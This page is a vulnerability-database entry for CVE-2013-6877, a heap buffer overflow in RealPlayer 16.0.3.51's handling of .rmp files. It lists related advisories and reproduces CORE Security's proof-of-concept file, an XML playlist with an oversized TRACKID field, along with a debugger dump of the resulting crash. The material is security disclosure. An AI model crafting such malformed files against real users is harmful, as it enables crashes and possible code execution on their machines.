RealPlayer 'RMP'文件处理远程堆缓冲区溢出漏洞

🗓️ 18 Dec 2013 00:00:00Reported by RootType

RealPlayer v16.0.3.51 has a remote buffer overflow vulnerability (CVE-2013-6877) documented.

Reporter	Title	Published	Views	Family All 22
0day.today	RealPlayer Heap-based Buffer Overflow Vulnerability	19 Dec 201300:00	–	zdt
0day.today	RealNetworks RealPlayer 16.0.3.51/16.0.2.32 - (.rmp) Version Attribute Buffer Overflow	24 Dec 201300:00	–	zdt
Circl	CVE-2013-6877	24 Dec 201300:00	–	circl
Core Security	RealPlayer Heap-based Buffer Overflow Vulnerability	17 Dec 201300:00	–	coresecurity
Check Point Advisories	RealNetworks RealPlayer RMP File Heap Buffer Overflow (CVE-2013-6877)	13 Jan 201400:00	–	checkpoint_advisories
Check Point Advisories	RealNetworks RealPlayer RMP File Stack Buffer Overflow (CVE-2013-6877)	16 Mar 201400:00	–	checkpoint_advisories
CVE	CVE-2013-6877	19 Dec 201322:00	–	cve
Cvelist	CVE-2013-6877	19 Dec 201322:00	–	cvelist
NVD	CVE-2013-6877	19 Dec 201322:55	–	nvd
OpenVAS	RealNetworks RealPlayer Buffer Overflow Vulnerability (Dec 2013) - Windows	26 Dec 201300:00	–	openvas


                                                /-----
&lt;!--                               
#
# Description: RealPlayer v16.0.3.51 Proof of Concept (poc.rmp)
# Author: Ricardo Narvaja (CORE Security Exploit Writers Team)
# CORE ID: CORE-2013-0903
# CVE ID: CVE-2013-6877
#
# The contents of this software are copyright (c) 2013 CORE Security and
(c) 2013 CoreLabs,
# and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States)
# License: &lt;a
href=&quot;http://creativecommons.org/licenses/by-nc-sa/3.0/us/&quot;;&gt;http://creativecommons.org/licenses/by-nc-sa/3.0/us/&lt;/a&gt;
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE.
#
--&gt;

&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;PACKAGE&gt;
    &lt;TITLE&gt;resto&lt;/TITLE&gt;
    &lt;ACTION&gt;import,replace&lt;/ACTION&gt;
    &lt;SERVER&gt;
        &lt;LOCATION&gt;%fid&lt;/LOCATION&gt;
    &lt;/SERVER&gt;
    &lt;TARGET&gt;resto&lt;/TARGET&gt;
    &lt;TRACKLIST&gt;
        &lt;LISTID&gt;1&lt;/LISTID&gt;
        &lt;TRACK&gt;
           
&lt;TRACKID&gt;1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/TRACKID&gt;
            &lt;TITLE&gt;The French Experience&lt;/TITLE&gt;
            &lt;ARTIST&gt;BBC Languages&lt;/ARTIST&gt;
            &lt;ALBUM&gt;&lt;/ALBUM&gt;
            &lt;CHANNELS&gt;0&lt;/CHANNELS&gt;
            &lt;DURATION&gt;80480&lt;/DURATION&gt;
            &lt;FORMAT&gt;&lt;/FORMAT&gt;
            &lt;GENRE&gt;&lt;/GENRE&gt;
            &lt;QUALITY&gt;29000&lt;/QUALITY&gt;
            &lt;SIZE&gt;0&lt;/SIZE&gt;
            &lt;FILENAME&gt;http://aaaaaaaaaaaaaaaaaa&lt;/FILENAME&gt;
        &lt;/TRACK&gt;
    &lt;/TRACKLIST&gt;
&lt;/PACKAGE&gt;
-----/

Below is shown the result of opening the maliciously crafted file
'poc.rmp' on Windows XP SP3:

/-----
63A530B6    8B08            MOV ECX,DWORD PTR DS:[EAX]
63A530B8    8B51 04         MOV EDX,DWORD PTR DS:[ECX+4]   &lt;----crash in
rpcontrols.dll
63A530BB    50              PUSH EAX
63A530BC    FFD2            CALL EDX

EAX 01122BB8 ASCII
&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ECX 61616161
EDX 0267F278
EBX 00000000
ESP 0012F5CC
EBP 0012F5D0
ESI 0012F5F4
EDI 00DD8AD8
EIP 63A530B8 rpcontro.63A530B8    
-----/

18 Dec 2013 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.34977